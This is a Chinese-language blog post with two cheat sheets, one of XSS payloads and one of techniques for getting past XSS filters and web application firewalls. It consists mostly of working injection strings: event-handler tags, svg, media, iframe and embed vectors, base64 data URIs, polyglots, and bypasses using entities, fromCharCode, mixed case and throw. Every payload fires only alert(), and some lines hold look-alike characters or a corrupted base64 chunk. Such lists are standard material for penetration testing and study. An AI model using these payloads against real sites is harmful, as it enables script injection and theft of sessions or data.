少女祈祷中...

XSS绕过&payload

0x00 介绍

  • XSS payload速查表
  • XSS绕过速查表

0x01 XSS payload速查表

      十进制值            	           URL编码            	            介绍            
        47            	                %2F            	                正斜杠            
        13            	                %0D            	                回车            
        12            	                %0C            	                分页符            
        10            	                %0A            	                换行            
        9            	                %09            	                水平制表符            
1
2
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>
<svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>
1
<svg/οnlοad=alert(1)> 
1
2
3
4
5
6
7
<svg

onload=alert(1)><svg> # newline char

<svg onload=alert(1)><svg> # tab char

<svg οnlοad=alert(1)> # new page char (0xc)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<img src=x onerror=alert()>

<svg onload=alert()>

<body onpageshow=alert(1)>

<div style="width:1000px;height:1000px" onmouseover=alert()></div>

<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)

<marquee onstart=alert(1)> (firefox only)

<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)

<input autofocus="" onfocus=alert(1)></input>

<details open ontoggle="alert()"> (chrome & opera only)
1
2
3
4
5
6
7
8
9
事件名称 标签 备注
onplay video, audio 适用于0-click:结合HTML的autoplay属性以及结合有效的视频/音频
onplaying video, audio 适用于0-click: 结合HTML的autoplay属性以及结合有效的视频/音频
oncanplay video, audio 必须链接有效的视频/音频
onloadeddata video, audio 必须链接有效的视频/音频
onloadedmetadata video, audio 必须链接有效的视频/音频
onprogress video, audio 必须链接有效的视频/音频
onloadstart video, audio 潜在的0-click向量
oncanplay video, audio 必须链接有效的视频/音频
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert()"><source src=x></video>

<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
1
2
3
4
5
6
7
8
9
10
11
12
13
<object data="data:text/html,<script>alert(5)</script>">

<iframe srcdoc="<svg onload=alert(4);>">

<object data=javascript:alert(3)>

<iframe src=javascript:alert(2)>

<embed src=javascript:alert(1)>

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>

<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczL**yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
1
2
3
4
5
6
字符            	                使用            	                多段代码            
141 DOM和非DOM javascript:”/*’/*`/*–></noscript></title></textarea></style></template></noembed></script><html \” onmouseover=/*<svg/*/onload=alert()//>
88 非DOM “‘–></noscript></noembed></template></title></textarea></style><script>alert()</script>
95 DOM ‘”–></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()>
54 非DOM “‘>–>*/</noscript></ti tle><script>alert()</script>
42 DOM “‘–></style></script><svg onload=alert()>

0x02 XSS绕过速查表

前言

XSS是Web应用程序中常见的漏洞之一,网站管理员可以通过用户输入过滤、根据上下文转换输出数据、正确使用DOM、强制执行跨源资源共享(CORS)策略以及其他的安全策略来规避XSS漏洞。尽管现在有很多预防XSS攻击的技术,但Web应用程序防火墙(WAF)或自定义数据过滤器是目前使用比较广泛的安全保护技术了,很多厂商都会利用这些技术来抵御新型的XSS攻击向量

有些时候,通用的绕过技巧并不可行,这个时候我们就得观察缺陷点的周围环境,想想其它办法咯。“猥琐绕过”与通用绕过不 同的是,它通用性小,往往只是特例。

####1.单引号过滤绕过 ####
在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通
过一些类似 add_slashes 的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样:

 <INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>

有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过 html
的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于,
因为这被解释为 html 标签,但是,你如果要用,可以用下面的来代替。

1	2	3	4
&#34;	&quot;	“	双引号	
&#38;	&amp;	&	&符号	
&#60;	&lt;	<	小于号	
&#62;	&gt;	>	大于号

使用&quot;或者&#34;
来代替我们的双引号,有时候可以绕过过滤

例子:

<script>alert("XSS")</script>
<script>alert(&quot;XSS&quot;)</script>
<script>alert(&#38;XSS&#38;)</script>

如果这都被过滤了。那我们可以使用 JavaScript 的 fromCharCode 函数,这个函数把指定的 Unicode值转换成字符串

例子

<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>

2.<SCRIPT>过滤绕过

有些过滤器会过滤到<script>标签,那上面的例子就都废了,但是。还是有方法插入 javascript 的。我们看看事件处理器的例子。

<BODY onload="alert('XSS')">

在 html 里啊。这个 Onload 关键字就是一个事件,其他的所有标签都没有这个属性,但是 Body 标签是有的。但是,有一定的局限性,如果 onload 事件在你的代码之前已经被处理了。那就不会触发了。。不过我们可以继续看看 onerror 事件处理。

<IMG SRC="" onerror="alert('XSS')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

注意看,图片没有指定,也就是出错了。Onerror 这个事件就会发茶。引发 XSS 漏洞,没有用<script>
标签哦。

如果是把<script></script>标签过滤掉,那么可以用

<scr<script>ipt>alert(1)</scr<script>ipt>

3.(Input)标签属性绕过

<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>

闭合<input>

'><SCRIPT>alert("XSS")</SCRIPT>

现在我们的代码执行了。因为我们闭合了前面的 html 标签,就触发了 XSS,但是,你可能会发现,页面上会显示一个多出来的单引号,为什么,因为后面的那个原来的单引号没有匹配,我们继续修改我们的代码。

'><SCRIPT>alert("XSS")</SCRIPT><xss a='

所有的输入就会变成这样:

<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>

Javascript 代码就注入了。<xss a=”>这个没什么意义,你可以自己改,但是符合 html 的标准,
页面不会出错。

4.大小写混用绕过

<iMgSRC = "JavaScript:alert(0);">

不使用引号或者构造全角字符也能扰乱过滤规则

还有像CSS中/**/会被浏览器忽略,\和\0同样或被浏览器忽略,同样可以用来绕过:

<img src ="java/*javascript:alert(‘xss‘)*/script:alert(1);">

5.magic_quotes_gpc绕过####

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> 

6.分号引号过滤绕过

<IMG SRC=javascript:alert('XSS')>    

7.括号被过滤绕过

当括号被过滤的时候可以使用throw来绕过

<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">

以上两个测试向量在Chrome跟IE在上面会出现一个“uncaught”的错误,可以用以下的向量:

<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>

8.= ( ) ; :被过滤时绕过

<svg><script>alert&#40/1/&#41</script> // 通杀所有浏览器

opera中可以不闭合

<svg><script>alert&#40 1&#41 // Opera可查
Share Comments